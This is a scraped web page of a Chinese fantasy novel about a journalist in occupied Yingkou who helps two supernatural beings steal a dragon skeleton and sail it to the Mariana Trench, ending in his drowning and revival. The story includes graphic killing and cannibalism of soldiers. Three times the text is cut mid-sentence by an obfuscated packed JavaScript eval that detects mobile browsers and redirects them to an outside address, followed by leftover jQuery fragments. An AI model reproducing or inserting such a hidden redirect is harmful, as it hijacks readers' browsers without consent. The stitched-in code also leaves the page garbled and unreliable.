终于,在龙骨展出结束后的第五日,即将迎来中秋节时,帆船的修补工作完成了。周书云在陈达年的带领下,躲开日本人的监视悄悄来到废弃的偏远港口。
修复过后的帆船就停在这里。
天色已近晚,还剩下最后一抹斜阳余晖映照海面上。海风推动浪花,摇晃着如火的波光向船靠拢。
帆收起来了,用绳子绑住脚,褶皱间依旧能看见补丁的痕迹。颜色不一的木板拼凑在一起,是因为新旧的区别。但陈达年的手艺很好,反倒让突兀的新木板成了船的记号。
周书云爬上船,伸手拍了拍桅杆,然后走向舵机舱。
这艘船不大,甚至可以说有些小,根本不是为远洋而造的。但对周书云而言,即使是这样一艘小船,也足够了。
他从舵机舱内走出来,站在甲板上看了很久,想象着乘风启航的景象。
“怎么样?”船下的陈达年仰着头问。
周书云点点头,喉头上下滚动几次,难掩心中激动:“嗯,挺好,挺好。”
“旧是旧了点,但航行能力绝对没问题。”
周书云走下来 “谢谢你,达年。”
“对了。”陈达年忽然想起什么,埋头在腰包里翻找,“我有个东西要送给你。”
他拿出来一只罗盘递给周书云:“我猜你肯定没这个东西。”
周书云看着罗盘,一下子就笑了,眼睛有些湿润:“你连这个都帮我想到了。”
“什么时候出发?”
“明后天吧。”
“这么快?”陈达年有些惊讶,“你不陪你奶奶过中秋?”
周书云看上去也有些失落:“可能过不了了,你替我买点月饼回家吧。”
张着嘴沉默半晌,陈达年才红着眼睛回应:“行。”
“废话我就不多说了。”他拍拍陈达年,便是最后的招呼了。
7. 夜下血蔷薇
周书云如约来到铁路附近的招待所。
“你好,请问拉姆先生住在哪个房间?”
坐在柜台内的大姐刚吃过饭,正在剔牙,听见周书云的声音从上方传来,抬头瞥了他一眼,朝旁边啐出嘴里卡牙缝的碎菜:“哪个拉姆?”
“戴个墨镜。”周书云朝自己脸上比划。
大姐埋头翻翻开登记簿:“啥时候住进来的?”
周书云被问住了,不得已只好说:“至少八号前了。”
“三楼,319.”
“谢谢。”
周书云飞似的三两阶并做一步奔上楼梯,来到319门前。他深呼吸一口,平了平气息,这才抬起手敲响黄色的木门。
等了片刻里面无人应,他又去一楼前台处问,得知拉姆并没有退房才重新爬回三楼,站在319房门旁边等。
319在走廊最端处,靠里,相对比较清静,与对门320之间正好有扇窗户。窗户位于大楼侧面,不临街,从这里探头看出去,底下是隔壁家属院的大门,不时便有人进出。
窗开着,大风吹进走廊,又添几分海的咸腥。好在倒也凉爽,便不舍得将窗户关起来,仍由它吹。此时天也黑了,大姐提着煤油灯走上来,挂在墙壁上。靠着窗户的周书云回头看了一眼,又再次望向窗外,静静等着拉姆。
拉姆回来时,繁星已是悬天一片,有些晚了。
周书云听见脚步声转头看去,见是他,立刻站直身体:“这么晚啊?”
“嗯,去办了点事。”
昏黄的煤油灯下,拉姆慢慢走过来,走廊上回响着他的脚步声。他绑在脑后的头发有些毛乱,衣服从上往下的两颗纽扣敞着,漏出修长的脖子。这副面貌似乎与他从容的气质不符,像是雅致的墨竹图上添了艳红的一笔云,实在格格不入。周书云的眉毛抬了抬,意味深长地盯着他打量起来。
“你去哪儿了?”他的口气里略带几分调侃。
拉姆掏出钥匙打开门,先一步进去,等周书云也进来,才关上门,往里走:“见了位旧识。”
他开门的动作太过行云流水,让周书云不禁有了狐疑:“你是真瞎还是装的?我看你怎么好像一点都不像个瞎子。”
门关上,房间里便仅剩下从窗户照进来的月光,只明亮了房间那一边。周书云与拉姆都站在黑暗里,谁也没有继续往里走。
“船已经准备好了吗?”拉姆问。
“随时可以出发,我就是来和你说这事的。”周书云拿起桌上的火柴盒,拇指往里推开,取出一根来划亮,点燃了煤油灯,“你之前要我帮什么忙?”
拉姆走到床边上,坐下:“再等等。”
周书云提起煤油灯靠近他的脸,弯腰左看一看,右看一看,说道:“我之前以为你是个正经人,没想到也会找乐子。”他扯了扯拉姆敞开的衣襟,“你去见的旧识,是个女人吧。”
拉姆这才注意到自己的衣衫不整,不慌不忙抬起手系扣子:“是个女人。”
他的双手正好在煤油灯下,周书云无意间垂眼一瞥,正准备调侃的话便硬生生憋了回去,脸上的笑也随之僵住:“你受伤了?!手上的污渍……是血?”
拉姆的左手背上有块颜色,在火光之下虽不见鲜艳,却也十分醒目——正是血。
“已经痊愈了。”拉姆站起身,走向窗户边的墙角。那里放置着一个木架,架上的盆子里留有浅浅的水。
拉姆洗干净手,用挂在横木上的毛巾擦去水。
“拉姆,你到底是什么人?”周书云总算问了,“即知道龙,还知道归墟。眼睛看不见,行动却根本不像个瞎子。”
拉姆站在月光里,背对着周书云:“时辰差不多了,我们走吧。”
周书云有些失望,但也没有继续逼问,其一是答案未必是真的,其二是答案他未必能承受。
“去哪儿?”
“水产学校。”
终于……
“走!”
龙骨的展出已于大半月前结束了,水产学校的人将其收回教学楼,封存在装有福尔马林的玻璃罐中,以便日后研究。
至于龙肉,从那天之后便再也没出现过。
守门的保安坐在门卫室里,点了一盏煤油灯,伏案奋笔疾书。他若是抬起头来朝窗户外看一眼,便能看见两道鬼鬼祟祟的身影放矮身形,贴着窗户下的墙壁潜进去。
可他没有。
究其原因,是他不必如此。
在龙骨收回来后,日本人便安排了军队巡逻队,昼夜在学校里走动,为的是要守住龙骨,不让别人偷去。
有日军在,哪个不要命的敢进来?
偏偏就有两个。
“进是进来了,可我们去哪儿找龙骨?”周书云悄声问。
他们两人躲在花坛里,日军的两只巡逻队背着刺刀正好在他们眼前交臂而过。月光下,人影斜长,皮靴的声音在寂静的夜里显得尤为响亮。
拉姆解开立领的纽扣,从衣服里勾出一根挂在他脖子上的红线。随着红线被全部拉出,其上系着的一只铃铛便泠泠作响。周书云头皮一麻,浑身的汗毛都立了起来。
日军听见铃铛声,猛地架好刺刀,一点一点朝他们藏身的地方走来。
“请问……”
山雨欲来之际,日军身后传来一道宛如清泉细雨的女声,轻言软语,十分妩媚。
“诸位可有见过一位戴墨镜的男人?个子高高的,卷头发。”
日军转身,见来的是位美丽女子,立刻放松戒心,收起刺刀,脸上骤然笑开了花。
月光照在她红色旗袍上,勾勒出窈窕婀娜的身姿。如玉一般白皙透亮的皮肤仿佛泛起了一层光,像她身上蒙的薄纱,明明看清了面容的,可不禁令人惋惜看得还不够真切。
“何だ、女か。”
“嗯?”女人笑意盈盈的,即使没有听懂也不急,“没有见过么?”
“何しにきた?”
领头的日本兵朝女人走近两步,却也不敢贸然上前。想来他也觉得奇怪,怎么会有女人半夜来学校,定是有猫腻。
女人索性不搭理他了,向四周环顾着,抬起右手竖在唇边,喊道:“先生,您在吗?”
虽说是喊,声音却不算大。
“動くな!手を上げろ!”
“てめぇ!何しにきた!”领头的日本兵被激怒,亮出刺刀对准女人,话音也高亢许多,“竜骨を盗みにきたか?!”
其他的日本兵听见队长这么喊,也立刻亮出刺刀将女人围在中间。
女人生得实在貌美,盈盈一握的腰身、旗袍缝隙里若隐若现的纤长玉腿,若不是肩负守护龙骨的重任,说不定还能快活一回。直勾勾盯着她的目光里藏着一抹下流的光。她优雅环顾,眼神一下一下落在日本兵的脸上,抬起柳枝般柔软的手臂抚上盘在后脑的发髻,眉目唇角皆是勾着笑,风情又优雅。
她微微张开嘴,舌头舔过侧边长长的尖牙:“我都不急,你们倒还急了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248780|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
此时,周书云已然缓过神来,拧紧眉,踟蹰着要不要出去救她。救,偷龙骨一事定会败露。不救,他又无法眼睁睁看着她被鬼子欺辱。
道德的天秤,一旦将什么放上去了,那便必然是重要之物。
“怎么办?”周书云实在选不出来,只好转头求助拉姆,“鬼子肯定不会放过那位姑娘。我见过太多太多了……”
太多太多的人死在鬼子的刀口下,他想救,可当带血的利刃朝他指来时,又不禁心生退却。最后只能假借写稿,逃避血淋淋的现实。
他是个哑炮。
拉姆平静地取下墨镜,戴在周书云眼睛上:“她是来帮忙的。”
周书云下意识躲闪一下,最终还是仍由拉姆戴上了:“你这是……要做什么?”
“你还是别看为好。”
夜晚中的校园已是足够暗了,再叠上一层几乎不透光的墨镜,便是如眼睛被人用手蒙住一般,连身旁的拉姆都看不见了。他颤抖着抬起双手放在墨镜上,想摘下来,可就是一瞬的迟疑,让他屈服于恐惧下,再不敢动。
预想中女子的哭喊求饶没有出现,惨叫的声音刚从喉咙深处涌上来便戛然而止,皮靴在地面上发出一阵短暂的慌乱声后,世界便安静了。唯有蝉虫嘶鸣宣告着时间在流逝。
周书云感觉到身旁的拉姆站起了身,便也想取下墨镜看看发生了什么事。然而他依旧有些不忍,便静静闭上双眼,慢慢将墨镜往上推,忐忑地睁开一只眼。
夜下,只有女人一袭红裙迎立星河下,拿着手帕端庄地擦擦嘴。
“先生。”女人看见拉姆,于是出声唤他。
惊诧不已的周书云情不自禁站起身,揭下墨镜呆呆看着倒在地上没有气息的日军。
地上日军十六人,是两只巡逻的小队。他们个个拿着刺刀背着枪,却连反应都没来得及,就全数躺下了,是死是活不知道。
“这位便是周先生了吧?”女人看向周书云,微微笑道,“您好,希望您没看见什么恐怖的事。”
周书云抬起眼看向站在日军包围中间的女人,不禁后背发凉,只觉得她那笑颜如花的脸在红色旗袍的衬托下,透着无法言说的阴森。
“拉、拉姆。”周书云快步跟上拉姆,躲在他身后。即便眼前这个男人浑身是迷,此刻他也不得不依赖他。
女人将手中沾了血的绣花帕子收在右边侧腰的衣缝处,对周书云笑道:“周先生不必害怕,我……也是中国人,不会害您的。”
周书云鼓气勇气问:“你、你到底是什么人?”
“您可以叫我阴女。”
“哪、哪个yin?”
阴女嗤地笑起来,上前几步将脸凑近周书云,说:“阴魂不散的阴。”
拉姆取下周书云额头上的墨镜,给自己戴好:“我和周先生去收龙骨,麻烦你放哨了。”
“您放心。”阴女取下挂在拉姆胸前的铃铛,绕在自己左手腕上。
周书云贴着拉姆朝教学楼走去,不时回头看看阴女,心中对她的惧怕依然不减:“她对那些日本鬼子做了什么?”
“周先生。”
“嗯?”
“若你还打算活命,就不要再问了。”
周书云从阴女身上收回目光默默看向拉姆,决定不再追问:“只要你是真心带龙骨回龙穴,我就信你。”
“龙骨留在陆地,会招来灾祸。”
“还有什么比现在更大的灾祸吗……”周书云小声嘟囔。
8. 龙息
从西海岸收起来的龙骨,被日本人放置在水产学校的生物研究室,白天有所谓的专家来研究,到了夜里就锁门。钥匙只有校长和主管的老师一人一把,分管两只锁。其他人,连弄清钥匙长什么样的机会都没有。
而正是在防备如此森严的情况下,拉姆弄到了钥匙。
周书云虽然惊讶,但当拉姆掏出钥匙打开生物研究室的门时,却又觉得一切都是意料之中。
进门后,周书云没敢贸然往里走,先是观察研究室内的陈设,以免碰到不该碰的东西。而拉姆便已然走向陈列柜。陈列柜的旁边放着一只足有半人高、两米长的漆木箱,箱子上还有一把锁。他的动作没有停顿,拿出另一把钥匙开了锁,然后掀起木箱厚重的盖子。
周书云一边慢慢迈步往里走,一边问:“找到了?”
“找到了。”拉姆抚摸着木箱的缘口,低头像是对里面的龙骨轻声说,“这便带你回龙穴。”
像是应他这句话,龙骨之上浮现出一道虚影,长长的、蜿蜒的。拉姆也随之抬起头来,像是能看见它一般仰起了脸——这便是周书云眼中的全部了。至于拉姆的眼中又看见了什么,他想,或许自己已然可以猜出一二。
“周先生,可以麻烦你将龙骨拿出来吗?”拉姆朝周书云站立的方向微微侧身,问道。
周书云来到拉姆身边,“可以是可以,但为什么要由我来拿?”
拉姆坦然回答道:“这条龙遗憾太深,我不能碰它。那晚的血水,你也看见了。”
周书云皱了下眉,僵着脖子沉默片刻忽然问:“你们是人吗?我是指人类。”
“什么是人?什么才算人?”拉姆说完再次转头面朝木箱。
周书云神情复杂地看了看他,欲言又止,再止,一咬牙,嚼碎了好奇心:“这么多零散的骨头,拿出来我们用什么装?我看,要不连箱子一起抬走吧。”
“你将它拿出来,按照它原本的样子摆放在门外走廊上就好。我记得,你画过它的骨架。”
周书云有些惊讶,眼睛看不见的拉姆是怎么知道他画过龙骨?
兴许是感受到周书云的目光,拉姆问道:“怎么了?”
“没……”周书云没再多说什么,按照拉姆的意思,将木箱里的骨头全搬到研究室外的走廊上,依照记忆中的模样摆出来。
等他摆好最后一块骨头站起身往后退,正好撞到锁上木箱与大门上的拉姆。拉姆只是没来得及避让。
“需不需要我闭上眼睛?”
“如果你愿意的话。”
周书云叹口气,闭上眼睛。
虽是闭上了眼睛,但他不由自主竖起耳朵聆听身边的声音。
咔咔咔。
是骨头的动静,从最初小小的几声,到后面已是多到他来不及数的地步。然后是忽的一阵风从地面吹来,像是什么东西陡然飞起。他终于还是没能忍住,眼睛微微睁开了一条缝。
没有任何连接,没有任何承托,白森森的骨头以一条龙的姿态,如活物般飞在周书云眼前。周书云愕然瞪大双眼看着它,抬手用力掐自己。
是痛的。
“周先生。”拉姆叫了他一声。
他听见了的,耳朵是听见了的,可就是无法做出任何回应。
“周先生。”拉姆轻轻推了他的手臂一下。
“啊?”他如梦初醒般看看拉姆,又再次看向腾飞的龙骨,“我是不是在做梦?”
拉姆没有回答他这个问题:“船在什么地方?”
“在……葫芦套……”周书云像是悟了一般惊诧又问,“你要让龙骨自己飞过去?!”
“我希望能在今夜出海。”拉姆没能明白周书云为何惊讶,“你怕高吗?”
思考半晌,周书云苦着脸挤出一个字:“怕……”
“捂好嘴。”
“捂嘴干……哎哎!”周书云尚未弄明白拉姆为什么要让自己捂嘴,便觉得身体一轻,整个人被他单手抓住背后的裤腰给拎起来。
“别出声,会引来日本人。”
周书云立马用双手紧紧捂住自己的嘴,眼中已经有了惧意。。
拉姆似乎正在等他的这个动作,待他捂着嘴惊恐地回头看来后,像是抛树枝般轻松将他扔向空中。
走廊的地面越来越远,继而连栏杆也不在他伸手可触的距离,周书云不可置信地看着淡定的拉姆,悔恨无声滋长——下一刻,龙骨在空中转了个弯,飞来他身下稳稳接住。隔着裤子的布料,生物柔软而强韧的肌肉与包裹在上面的坚硬鳞皮十分真实,好似连深处血脉的鼓动都传了过来。周书云颤颤巍巍伸出一只手,轻轻抚上去。
凉凉的,与蛇很像,又与蛇不同。
他一时间竟有些兴奋,全然完忘记了害怕。
“你先和它上船,我还了钥匙便来。”
“嗯……”周书云像在抚摸满满的一箱黄金,痴痴地笑起来。
细长的龙骨架驮着周书云,垂直一跃升上了云中。
拉姆走下教学楼来到阴女身后,递上一块手帕。
阴女蹲在一具日本兵的尸体旁,正慢条斯理掏着什么,往嘴里送。旁边还有几具日本兵的尸体,全是她之前杀的。不过那时候她只是咬断了他们的脖子,并没有立即进行下一步。而此刻,尸体的腹部连同军服一起被撕开,肠子被拉出来扔在地上,血流得到处都是。
浓烈的血腥味被晚风一吹,就散了。
她察觉到身后的气息,仰头将手中最后一块鲜血淋淋的东西放进嘴里,囫囵咽下,舔了舔手指上的血,站起身接过拉姆递来的手帕,清洁自己的脸与手。
“吃好了?”拉姆问。
“好久没吃过人肝了。”阴女像狐狸一样眯起眼,脸上露出满足的神情,“果然还是外面好,我都舍不得回去了。”
拉姆朝离得稍远些的尸体侧过脸:“还剩六个,要带上吗?”
所谓六个,是指还有六具尸体的肝没动过。
阴女歪着脑袋寻思一番,幽幽叹口气:“当今,全世界到处都在死人,不差这六个。”
“那走吧,去还钥匙。”
持有钥匙的两个日本人,一个住在学校后面的宿舍楼里,另一个则是有自己的院落。阴女从拉姆手里接过生物研究室的钥匙,弯曲膝盖蹲下身,踩在泥土地上的黑色高跟鞋着力一蹬,身姿轻盈而起,高过了仅有四层的宿舍楼。
她身轻如燕,在空中滞留片刻,从先前偷钥匙时留下的窗口钻进去,将钥匙放回原处。正要走时,她忽然心生一念又停下来,走近床边拿出带血的手帕,弯下腰轻轻提起被子一角,将其放在男人胸前。
这手帕是她自己的,白色丝绸面上绣着红色的蔷薇花,沾了日本兵的血。
“先留你一条性命。”她轻声说道,随后从男人的外套袖口上扯下一个扣子,这才又从窗户离开。
拉姆站在宿舍楼下等,察觉到气流细细涌动便开口问:“遇上麻烦了?”
阴女手心里攥着纽扣,心情看似还不错:“没有,只是……”她轻声呵呵笑起来,没将后话说完。
“没有就好。还剩下一把钥匙。”
是拥有自己院落的校长。
与普通百姓黄土瓦房的院落全然不同,这个日本人所住的地方,足以与地方豪绅的家宅相媲美,不仅有佣人精心打理的花园,房子更是三层高的小洋楼。
拉姆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248781|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将钥匙交给阴女,在大门外等,等了约莫半刻钟她才出来,身上带着一丝血腥味。拉姆猜到定然发生了什么事,但没有再问她。
原本阴女的脸上带着笑,可片刻后就恢复了平静,像是自言自语又像是在询问:“人为什么要自相残杀呢?从古至今,都没长进。”
拉姆稍稍垂下头,想说什么却又忍住了。
循着龙骨上的气息来到葫芦套,天已经蒙蒙亮,海浪不断涌来又退去,摇晃着停靠在码头的帆船。
周书云非常兴奋,又怕被人瞧见,说话的声音便时而高亢时而低沉。龙骨仍是活的,总想一头扎进海里,他双手展开破布跟在它身后追,猛地扑上去将它裹起来。龙骨不愿意,扭动两下挣脱出来,又朝船边跑。
他玩得十分高兴,仿佛又回到无忧无虑的小时候,打从心底笑出来。
“周先生,似乎很开心?”
听见阴女的话音,周书云从甲板上爬起来趴在船舷上,向登船的拉姆和阴女挥挥手:“等你们好久了。怎么样,没有被日本人发现吧?”
“谁知道呢。”阴女特意慢下一步,让拉姆先踏上登船的弦桥,这才紧随其后。
周书云还沉浸在兴奋的余韵中,丝毫没有彻夜未眠的疲倦:“我们什么时候出发?”
登上船的拉姆顿了顿,问:“你要和我们一起出海?”
“船是我买来的,我不去谁去。再说,你们会开船?”
拉姆沉默了。
周书云朝拉姆歪头一笑,满是得意:“什么时候出发?”
“尽早出发。”
“行,我去收锚。”周书云迅速跳下船,解开绑在缆柱上的粗麻绳,挽成几圈挂在船边上,俨然一副经验老手的模样。
做记者的时候,他从来没这么生龙活虎过,身体里似有消耗不玩的精力,让他这艘被遗弃在礁石边上的破船再次有了年轻人该有的生气。
这一刻,他忘了对刀枪的恐惧,忘了对死亡的恐惧,满心满眼只有保护了龙骨的骄傲自豪——在他平庸无为的短暂人生里,总算有一件可以称作奇遇的事了。等以后老了,他要讲给自己的儿孙听。
望着广阔无垠的蓝色大海,感受着陌生又熟悉的海风,周书云不禁闭上双眼面带微笑,一只手按住头上的帽子一只手大大地张开。
阴女靠在船舷上托着腮,转头面无表情看了他半晌,问:“周先生心情很好?”
周书云闻声回头看向阴女,随后不好意思地挠挠脸颊:“我很久没出海了,而且还亲眼见到了龙,并要送它回龙穴。简直像是在做梦。你之前去过龙穴吗?”
“没有,也没兴趣。”
周书云慢慢向她靠过去,又在一米远的地方停下:“那可是《列子·汤问》里的归墟啊。龙穴……也就是说里面还有活着的龙?”
阴女兴致怏怏地回应:“说不定有呢。”
“我潜水很厉害,不知道有没有机会潜下去看看?”周书云试探着打听,跃跃欲试的心思全写在了脸上。
“周先生想看,下去看便是了。反正就算不淹死在海里,回到营口后也会被杀死,不如了个心愿。”
周书云脸上高兴的表情瞬间凝滞,笑意一下子便淡了:“谁说我会被杀?出发前我把一切都安排好了,日本人问起来,报社会证明我是出差。”
“那就好。”阴女立即勾唇露出个甜美的笑,“阴女先去休息了。”
“等等。”周书云叫住她,垂下眼睛想了想才继续说。“你和拉姆这么厉害,日本人根本不是你们的对手……”
阴女停下脚步回过身,等着他把话说完。
“等回去之后,你们愿不愿意和我一起杀鬼子?”
9. 倒流的海水
阴女噗嗤一声笑了:“就算给你一把枪,你拿得稳么?可千万别瞄错了敌人打伤自己,别人还得找医生救你。”
被姑娘这么嘲笑,周书云的脸立刻涨得通红,可又反驳不了半句。
他承认,他的内心深处是胆小的,即便嘴上总是喊着杂种鬼子,即便笔下总是愤慨讨伐,可当鬼子真的站在他面前,他却从未做出过任何英勇神武的事。被骂了?听不懂。被挑衅?当是狗。即将命丧刺刀下的人哭着伸出颤抖的手向他喊救命,他也只会愣愣看着,拿起笔画下那副惨状。
不是你的错,你救不了他,你看身边那些人,不也全都视而不见吗。他一遍又一遍安慰自己,渐渐的,就不再为此而感到内疚。
他只是个老百姓,又怎么对抗得了鬼子的刀剑火药呢?
错的是小日本。
错的是禽兽不如的小日本。
而他周书云……
同样是个可恶的人。
“我也想……!”周书云说完这半句立刻咬紧牙,稳了稳情绪才继续,“我也想有抢有火炮,把那群狗日子一下全杀死!让他们再也不敢口出狂言,再也不敢在我的面前抬起头来!见到我……见到中国人就下跪求饶,像狗一样活着!我每天……每时每刻,都在自己的大脑里杀了他们无数次。让他们忏悔、求饶,然后下地狱!”
阴女不经意地勾了下唇角,仰起脸:“风向变了。”
周书云狠狠擦干眼睛里的泪,拿出罗盘看看上面的指针:“不用担心,没有偏航。”
“如果有机会……我是说如果——”阴女问,“您的愿望能实现,您想怎么做呢?”
周书云愣了一下,才回答:“只要能实现,我愿意不惜一切代价。不过……我不想牵连我奶奶和陈达年。”
阴女笑起来:“周先生是个好人呢。”
他苦涩地牵动嘴角,勉强算是笑了:“第一次有人这么说。希望你说的不是反话。”
蓝天之上海鸥啼叫着,伴随海浪的声音环绕在船的四周,直至夕阳要来了,才渐渐消失。然后翌日的清晨,又再次出现。
帆船随着海流、随着海风,穿过渤海海峡,驶过黄海、东海,继续一路南行。
马里亚纳海沟就在那前方,就在太平洋。
快到了。
似乎已经能感受到什么,船舱中盘缩成一团的龙骨从破布下抬起脑袋,顺着攀爬的绳网顶开头上船舱的木门,飞到甲板上,面朝两点钟的方向发出无声吼哮。
“偏航了么?” 舵机舱里掌舵的周书云喃喃自语,随后以龙头为准调整好方向。
拉姆走向船头,仿佛一眼便能望见海水东流灌入的万里深沟,即使没有罗盘指引,顺着他的目光也能到达。
“你感觉到了?”他语气平静地对龙骨说。
玉白的龙骨像是回应般,围着拉姆绕了一圈,最后迫不及待朝海沟飞去。船赶不上它的速度,只能缓缓追着那道残影。
周书云从舵机舱中走出来,站在拉姆身边眺望:“就任由它乱跑?万一被往来的船只发现……”
“没关系,快到了。”拉姆遥手指向海沟的方向,“那里便是归墟。”
周书云收回目光,看向身旁的拉姆思索一番后,说:“我想问你件事,可以吗?”
拉姆放下抬起的手,顺势扶住船舷:“你想问我归墟是什么?”
“古书上只提过几句,说归墟无底,海水倒流,怎么都填不满。又有传说……”周书云悄悄打量拉姆的脸色,“归墟是死亡之地,也是通天之地。”
沉默的拉姆似乎是在犹豫,半分钟后才开口:“很多很多年以前,从天空深处飞来一柄巨大的剑,像流星一样拖着火光穿破云层,笔直插进太平洋。因此,海水全蒸发了,露出底下的海床。之后许多年,天一直在下雨,直到又将大海填满才停。”
“是谁的剑?外星人……?”
拉姆摇摇头:“是神的剑。虽说是神的剑,但和马里亚纳的海沟比起来,或许也只是一根针。”
“神……的剑。”周书云牵动嘴角。无论再从拉姆嘴里听见任何光怪陆离的话,他大概都不会感到惊讶了。
他明白,那不是他该涉足的领域。
又过半月,船终于航行到马里亚纳海沟不远处。为了避免帆船受水流影响被卷入海中,它停在了这里。
龙骨像只焦急等待的小狗,不停在海面上盘旋,直到拉姆收起墨镜脱下鞋子爬上船舷,一跃入水,它才猛地扎入海中。
周书云探出半个身子趴在船舷上朝海里看,心里十分惋惜自己不能跟过去。
海沟底下长什么样呢?他问过拉姆。
拉姆难得地,在空气中比划起来,描述着神秘的无人之境是何种景色——海床之上突然裂开了一条缝隙延伸向下,缝隙宽窄不一,如悬崖断壁之间的渊谷,狭窄、深邃。两边垂直往下的岩壁光秃秃的,侧面曲折粗糙。任何光都照不到这里,有所生命全都隐藏在无尽的黑暗中。
那里冰冷、深奥、不得探索,是龙最好的栖身之所。
龙与拉姆的身影很快便看不见了,周书云略有不甘地回到船内,心里不禁觉得空寂。龙骨已然送回,那他这次的旅程也结束了,不得不再次回到那个人间地狱。
替拉姆看守衣物的阴女背对着大海高高坐在船舷上,裸着双脚翘起二郎腿,直勾勾盯着周书云的背影:“周先生之后有什么打算?”
周书云低下头苦笑一下,背影看上去比之前还落寞:“还能有什么打算,只能回营口了。”
“回去杀鬼子?”
他嘴唇动了动,最终却没能说出一句话。就凭他?根本做不到。
“周先生。”阴女轻盈跳下来,走到周书云身旁,“我想和您确认一下。”
“什么事?”周书云疑惑地转头看着她。
阴女静静看着他:“只要能实现愿望,您可以不惜一切代价吗?”
想了片刻,周书云便坚定地点头:“我对狗杂种的恨,就算是死,也会变成诅咒让他们永不超生。”
“好,说得好。阴女也愿意帮您。”阴女笑起来。
周书云喜出望外:“当真?如果你愿意出手,那些鬼子还不是——”
他脸上的表情忽然变了。眼中的画面忽然大翻转,本来不探出头就看不见的救生圈,此时却完完整整地出现在他面前,还有船身外颜色不一的木板,以及阴女伸出的手。
是要救他吗?
不,不对。是阴女抚上他的后背,突然一用力,将他推进了海里。
腥咸的海水瞬间淹没周书云高举着想抓住麻绳的手,一点一点将他拖人深海。在海边长大的他原本水性很好,闭气浮潜一分钟也没问题,不过是意外掉进海里,手脚扑腾几下便可以浮出海面的。
可偏偏他浑身动弹不了,顺着倒流的海水不断往下沉,往下沉……
意识渐渐模糊,眼睛也累得快要合上。而在最后一丝神智消失前,他似乎看见了海沟深处突然睁开的一双眼睛,红色的、发着光的巨大龙眼。
总算是看见活生生的龙了……
————
赵义之狠狠倒抽一口气,往后跌坐在地上,胸腔剧烈呼吸着氧气,浑身上下仍然残留着被冰冷海水包裹的感觉。
“怎么个情况?”他不禁自问,随后抬起头来看着那根毛发,“白日梦?”
但很快他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248782|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
便否定自己的这个想法。
如果说那是梦,未免也太过真实。更何况,他并不知道馆主的名字,又怎么可能在梦里叫他的名字呢。
赵义之用力拍拍自己的脸颊保持清醒,稳定好呼吸,重新站起来,慢慢走向毛发,再次伸手碰上去。
周书云,这就死了?
————
公元1934年十月中旬。
帆船随著海浪不断摇晃,耳边是从没间断过的潮水声。
周书云睁开眼,愣愣地盯着万里无云的碧蓝青天,以往觉得刺眼的阳光如今照进他眼里,竟然没有任何不适。
“您醒了。”阴女的脸忽然出现在他眼前,挡住了飞过天空的海鸟,“还认识我吗?”
“阴……”喉咙有些发涩,周书云清了清嗓,“咳咳,阴女。”
“周先生。”拉姆半跪在他身旁的甲板上,“作为你帮忙的回礼,我已经完成了你的期望。”
完成了……他的期望?
怀着疑问,周书云强撑疲惫的身体坐起身。他的意识仍然有些模糊,思绪完全发挥不了作用,想不起究竟发生了什么事。
阴女微笑着说:“刚开始是这样的,过段时间您便适应了。”
“适应什么?”他只能顺着阴女的话问。
“您的身体。”
“我的身体?”周书云茫然低下头,看着自己的身体。
十月的太平洋已经不热了,他穿着草鞋,裤脚卷至小腿,身上是宽松的褂子,手臂和双腿都有露在外面的部分。他长得不白,尤其是经过半月的海上航行,身上的皮肤被晒得更黑了——他记得是这样。
然而此时他看见的,却是一双灰青色的腿与手臂,就像……就像死人。
“我的腿……”周书云惊慌地撩开衣裤遮住的部分确认,又使劲搓了搓,直到确认那就是自己真正的肤色才停下,抬起因震惊而显得呆滞的脸,“怎么回事?我怎么会变成这个颜色?”
阴女蹲在周书云的另一侧,笑眯眯地托着脸颊:“您已经死了,还记得么?我将您推进海里,淹死了。”
“你、你在胡说什么,我这不是好端端活着吗?”周书云立刻站起身跑到一旁,尽量与他们保持距离,“我、我我是被你推下海了,但我水性很好,怎么会轻易淹死。一定只是晕过去了。”
阴女缓缓站起身,从舵机舱外的木墙上取下挂着的鱼竿,走到船边随意朝海里一抛,钓起条鱼。
周书云不明白她这番举动的用意,便转而问拉姆:“你告诉我,你们在我身上涂了什么?为什么我的皮肤变成了这个颜色?”
“什么都没涂。”拉姆疑惑地看向钓鱼的阴女。
“你别吞吞吐吐的!到底是不是个男人!”周书云一怒之下冲上去推了拉姆一把,不等后退的拉姆站稳,又用力推了一把,“你们到底对我做了什么?!说啊!”
海里的鱼上钩了,阴女收杆取下来,将已然无用的鱼竿往旁边一扔,一面走向周书云一面撕开鱼肚子。
